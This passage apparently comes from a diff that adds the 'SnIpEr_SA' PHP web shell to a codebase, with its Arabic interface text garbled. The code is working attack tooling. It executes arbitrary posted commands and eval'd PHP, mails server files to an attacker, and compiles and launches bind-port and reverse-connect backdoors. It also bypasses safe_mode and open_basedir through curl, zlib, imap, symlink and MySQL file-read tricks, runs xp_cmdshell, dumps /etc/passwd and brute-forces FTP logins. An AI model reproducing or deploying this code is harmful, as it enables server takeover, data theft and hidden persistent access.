���: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=#008000>����</font>";}else{echo "<font color=red>��� ����</font>";} +echo "</b>".ws(2); +echo "���� ��� ���: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=#008000>����</font>";}else{echo "<font color=red>��� ����</font>";} +echo "</b>".ws(2); +echo "������: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=#008000>����</font>";}else{echo "<font color=red>����</font>";} +echo "</b><br>".ws(2); +echo "������ �������� : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=#00800F>������</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +echo "<br>".ws(2)."������� ������� : <b>".view_size($free)."</b> ������� ������: <b>".view_size($all)."</b>"; +echo "</b><br>".ws(2); +echo "Register globals: <b>"; +$reg_g = @ini_get("register_globals"); +if($reg_g){ +echo "<font color=#008000>����</font>"; } else { echo "<font color=red>��� ����</font>"; } +echo "</b>".ws(2); +echo "open_basedir: <b>"; +$openbasedi = @ini_get("open_basedir"); +if($openbasedi){ +echo "<font color=red>����</font>"; } else { echo "<font color=#008000>��� ����</font>"; } +echo "</b>".ws(2); +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc> +<tr><td align=right width=100>'; +echo $font; +if($unix){ +echo '<font color=#990000><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'<br>ip :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=tahoma size=-2 color=#cccccc><b>"; +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +if(!empty($id)) { echo ws(3).$id."<br>"; } +else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid')) + { + $euserinfo = @posix_getpwuid(@posix_geteuid()); + $egroupinfo = @posix_getgrgid(@posix_getegid()); + echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; + } +else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"; +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "<br>"; +echo ws(3)."<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>"; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'<br>ip :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=tahoma size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@getenv("USERNAME")."<br>"; +echo ws(3).$dir; +echo "<br>"; +echo ws(3)."<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>"; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n"); + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from SnIpEr_SA shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + err(6+$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + @fwrite($file,$_POST['e_text']); + @touch($_POST['e_name'],$mtime,$mtime); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } + + + +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +$_POST['cmd']="echo \"Now try connect to nc -vv ".gethostbyname($_SERVER["HTTP_HOST"])." port ".$_POST['port']." ...\""; + +} +if (!empty($_POST['port1'])) +{ + cf("bds",$port_bind_bd_cs); + $blah = ex("chmod 777 bds"); + $blah = ex("./bds ".$_POST['port1']." &"); + $_POST['cmd']="echo \"Now script install backdoor connect to port "; + }else{ +cf("/tmp/bds",$port_bind_bd_cs); + $blah = ex("chmod 777 bds"); + $blah = ex("./tmp/bds ".$_POST['port1']." &"); + } +if (!empty($_POST['php_ini1'])) +{ + cf("php.ini",$php_ini1); + $_POST['cmd']=" ������ ����� ��� php.ini �� ��� ���"; + } + + if (!empty($_POST['htacces'])) +{ + cf(".htaccess",$htacces); + $_POST['cmd']="������ ����� ������� htaccess �� ��� ���"; + } + if (!empty($_POST['file_ini'])) +{ + cf("ini.php",$sni_res); + + $_POST['cmd']=" http://target.com/ini.php?ss=http://shell.txt? ������� ss �������� ini.php ���� �� ���� ������ ����"; + } + +if(($_POST['fileto'] != "")||($_POST['filefrom'] != "")) + +{ +$data = implode("", file($_POST['filefrom'])); +$fp = fopen($_POST['fileto'], "wb"); +fputs($fp, $data); +$ok = fclose($fp); +if($ok) +{ +$size = filesize($_POST['fileto'])/1024; +$sizef = sprintf("%.2f", $size); +print "<center><div id=logostrip>Download - OK. +(".$sizef."�?)</div></center>"; +} +else +{ +print "<center><div id=logostrip>Something is wrong. Download - IS NOT +OK</div></center>"; +} +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; + $_POST['cmd']="echo \"Now try connect to nc -vv ".gethostbyname($_SERVER["HTTP_HOST"])." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...Datached\""; +} +if (!empty($_POST['ips']) && !empty($_POST['ports'])) +{ + cf("/tmp/backs",$back_connects); + $p2=which("perl"); + $blah = ex($p2." /tmp/backs ".$_POST['ips']." ".$_POST['ports']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ips']." port ".$_POST['ports']." ...\""; + +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } + +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; + +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; + + + + +if ($method=="file") { + if (@file($file)) { + $filer = file($file); + + foreach ($filer as $a) { echo $a; } + + } else { + echo "<script> alert(\"unable to read file: $file using: file\"); </script>"; + } + } + if ($method=="fread") { + if (@fopen($file, 'r')) { + $fp = fopen($file, 'r'); + $string = fread($fp, filesize($file)); + echo "<pre>"; + echo $string; + echo "</pre>"; + } else { + echo "<script> alert(\"unable to read file: $file using: fread\"); </script>"; + } + } + if ($method=="show_source") { + if (show_source($file)) { + echo "<pre>"; + echo show_source($file); + echo "</pre>"; + } else { + echo "<script> alert(\"unable to read file: $file using: show_source\"); </script>"; + } + + } + if ($method=="readfile") { + echo "<pre>"; + if (readfile($file)) { + //echo "<pre>"; + //echo readfile($file); + echo "</pre>"; + } else { + echo "</pre>"; + echo "<script> alert(\"unable to read file: $file using: readfile\"); </script>"; + } + + } + +function dozip1($link,$file) +{ + $fp = @fopen($link,"r"); + while(!feof($fp)) + { + $cont.= fread($fp,1024); + } + fclose($fp); + + $fp2 = @fopen($file,"w"); + fwrite($fp2,$cont); + fclose($fp2); +} +if (isset($_POST['funzip'])) +{ +dozip1($_POST['funzip'],$_POST['fzip']); +} +if(empty($_POST['root'])){ +} else { + $root = $_POST['root']; } + + + + + $c = 0; $D = array(); + set_error_handler("eh"); + + $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + for($i=0; $i < strlen($chars); $i++){ + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}"; + + $prevD = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD){ + + for($j=0; $j < strlen($chars); $j++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}"; + + $prevD2 = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD2){ + + + for($p=0; $p < strlen($chars); $p++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; + + $prevD3 = $D[count($D)-1]; + glob($path."*"); + + if($D[count($D)-1] != $prevD3){ + + + for($r=0; $r < strlen($chars); $r++){ + + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; + glob($path."*"); + + } + + } + + } + + } + + } + + } + + } + + $D = array_unique($D); + + + + + foreach($D as $item) + if(isset($_REQUEST['root'])) + echo "{$item}\n"; + + + + + function eh($errno, $errstr, $errfile, $errline){ + + global $D, $c, $i; + preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o); + if($o){ $D[$c] = $o[2]; $c++;} + + } + + + + + +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ + $cmd_rep = ex($_POST['cmd']); + if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} + if($_POST['cmd']) +{ + switch($_POST['cmd']) + { + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'mysqlb': + +$mhost = "localhost"; +$muser = $_POST['test3_ml']; +$mpass = $_POST['test3_mp']; +$mdb = $_POST['test3_md']; +$file = $_POST['test3_file']; + +// default mysql_read files [seperated by: ':']: +$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf"; +$mysql_files = explode(':', $mysql_files_str); + + + $sql = array ( + "USE $mdb", + + 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)', + + "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS " + . "TERMINATED BY '__THIS_NEVER_HAPPENS__' " + . "ESCAPED BY '' " + . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'", + + "SELECT a FROM $tbl LIMIT 1" + ); + + + mysql_connect ($mhost, $muser, $mpass); + + foreach ($sql as $statement) { + $q = mysql_query ($statement); + + if ($q == false) die ( + "FAILED: " . $statement . "\n" . + "REASON: " . mysql_error () . "\n" + ); + + if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue; + + echo htmlspecialchars($r[0]); + mysql_free_result ($q); + } + + +echo "</textarea>"; + + break; + case 'test4': + if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table SnIpEr_SA_temp_table",$db); + @mssql_query("create table SnIpEr_SA_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into SnIpEr_SA_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from SnIpEr_SA_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table SnIpEr_SA_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'test5': + if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail'); + $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail"; + @mb_send_mail(NULL, NULL, NULL, NULL, $extra); + $lines = file ('/tmp/mb_send_mail'); + foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; } + break; + case 'test6': + $stream = @imap_open('/etc/passwd', "", ""); + $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); + for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n"; + @imap_close($stream); + break; + case 'test7': + $stream = @imap_open($_POST['test7_file'], "", ""); + $str = @imap_body($stream, 1); + echo $str; + @imap_close($stream); + break; + case 'test8': + if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118']; + else echo $lang[$language.'_text119']; + break; +case 'cURL': + if(empty($_POST['SnIpEr_SA'])){ + + +} else { +$curl=$_POST['SnIpEr_SA']; +$ch =curl_init("file:///".$curl."\x00/../../../../../../../../../../../../".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); +echo "</textarea></CENTER>"; + +} +break; +case 'copy': + +if(empty($snn)){ +if(empty($_GET['snn'])){ +if(empty($_POST['snn'])){ + +} else { +$u1p=$_POST['snn']; +} +} else { +$u1p=$_GET['snn']; +} +} + $u1p=""; // File to Include... or use _GET _POST +$tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp + + +$temp=tempnam($tymczas, "cx"); + +if(copy("compress.zlib://".$snn, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "".htmlspecialchars($tekst).""; +unlink($temp); +echo "</textarea></CENTER>"; +} +break; +case 'ini_restore': + if(empty($_POST['ini_restore'])){ +} else { + +$ini=$_POST['ini_restore']; +echo ini_get("safe_mode"); +echo ini_get("open_basedir"); +require_once("$ini"); +ini_restore("safe_mode"); +ini_restore("open_basedir"); +echo ini_get("safe_mode"); +echo ini_get("open_basedir"); +include($_GET["ss"]); +echo "</textarea></CENTER>"; +} +break; +case 'glob': +function reg_glob() +{ +$chemin=$_REQUEST['glob']; +$files = glob("$chemin*"); + + +foreach ($files as $filename) { + + echo "$filename\n"; + +} +} + +if(isset($_REQUEST['glob'])) +{ +reg_glob(); +} + +break; +case 'zend': + if(empty($_POST['zend'])){ +} else { + +$dezend=$_POST['zend']; +include($_POST['zend']); +print_r($GLOBALS); +require_once("$dezend"); +echo "</textarea></p>"; +} +break; + case 'sym1': + if(empty($_POST['sym1p'])){ + } else { +$symp=$_POST['sym1p']; + } + if(empty($_POST['sym1p2'])){ + +} else { +$symp2=$_POST['sym1p2']; + + symlink("a/a/a/a/a/a/", "dummy"); +symlink("dummy".$symp2."".$symp."", "xxx"); +unlink("dummy"); +while (1) { +symlink(".", "dummy"); + + } + } + break; + case 'sym2': + @include(xxx); + break; + + case 'plugin': + if ($_POST['plugin'] ){ + + + for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd + $ara = posix_getpwuid($uid); + if (!empty($ara)) { + while (list ($key, $val) = each($ara)){ + print "$val:"; + } + print "\n"; + } + } + echo "</textarea>"; + + } + break; + case 'command': + if (!empty($_POST['command'])) { + + if ($method=="system") { + system($_POST['command']); + echo "Functions system"; + } + if ($method=="passthru") { + passthru($_POST['command']); + echo "Functions passthru"; + } + if ($method=="exec") { + $string = exec($_POST['command']); + echo $string; + echo "Functions exec"; + + } + if ($method=="shell_exec") { + $string = shell_exec($_POST['command']); + echo $string; + echo "Functions shell_exec"; + } + if ($method=="popen") { + $pp = popen($_POST['command'], 'r'); + $read = fread($pp, 2096); + echo $read; + pclose($pp); + echo "Functions popen"; + } + + if ($method=="proc_open") { + + +$command = isset($_POST['command']) ? $_POST['command'] : ''; + + + +/* Load the configuration. */ + +/* Default settings --- these settings should always be set to something. */ + +/* Merge settings. */ + +session_start(); + + + + if (!empty($command)) { + /* Save the command for late use in the JavaScript. If the command is + * already in the history, then the old entry is removed before the + * new entry is put into the list at the front. */ + if (($i = array_search($_POST['command'], $_SESSION['history'])) !== false) + unset($_SESSION['history'][$i]); + + array_unshift($_SESSION['history'], $_POST['command']); + + /* Now append the commmand to the output. */ + $_SESSION['output'] .= '$ ' . $_POST['command'] . "\n"; + + /* Initialize the current working directory. */ + if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_POST['command'])) { + $_SESSION['cwd'] = realpath($ini['settings']['home-directory']); + } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_POST['command'], $regs)) { + /* The current command is a 'cd' command which we have to handle + * as an internal shell command. */ + + if ($regs[1]{0} == '/') { + /* Absolute path, we use it unchanged. */ + $new_dir = $regs[1]; + } else { + /* Relative path, we append it to the current working + * directory. */ + $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; + } + + /* Transform '/./' into '/' */ + while (strpos($new_dir, '/./') !== false) + $new_dir = str_replace('/./', '/', $new_dir); + + /* Transform '//' into '/' */ + while (strpos($new_dir, '//') !== false) + $new_dir = str_replace('//', '/', $new_dir); + + /* Transform 'x/..' into '' */ + while (preg_match('|/\.\.(?!\.)|', $new_dir)) + $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); + + if ($new_dir == '') $new_dir = '/'; + + /* Try to change directory. */ + if (@chdir($new_dir)) { + $_SESSION['cwd'] = $new_dir; + } else { + $_SESSION['output'] .= "cd: could not change to: $new_dir\n"; + } + + } elseif (trim($_POST['command']) == 'exit') { + logout(); + } else { + + /* The command is not an internal command, so we execute it after + * changing the directory and save the output. */ + chdir($_SESSION['cwd']); + + // We canot use putenv() in safe mode. + if (!ini_get('safe_mode')) { + // Advice programs (ls for example) of the terminal size. + putenv('ROWS=' . $rows); + putenv('COLUMNS=' . $columns); + } + + /* Alias expansion. */ + $length = strcspn($_POST['command'], " \t"); + $token = substr($_POST['command'], 0, $length); + if (isset($ini['aliases'][$token])) + $command = $ini['aliases'][$token] . substr($_POST['command'], $length); + + $io = array(); + $p = proc_open($_POST['command'], + array(1 => array('pipe', 'w'), + 2 => array('pipe', 'w')), + $io); + + /* Read output sent to stdout. */ + while (!feof($io[1])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), + ENT_COMPAT, 'UTF-8'); + } + /* Read output sent to stderr. */ + while (!feof($io[2])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), + ENT_COMPAT, 'UTF-8'); + } + + fclose($io[1]); + fclose($io[2]); + proc_close($p); + } + } + + /* Build the command history for use in the JavaScript */ + if (empty($_SESSION['history'])) { + $js_command_hist = '""'; + } else { + $escaped = array_map('addslashes', $_SESSION['history']); + $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; + } + } + } + + + break; + } +} + + + + + +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse'])) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} + +if ($_POST['cmd']=="mysql_dump") + { + 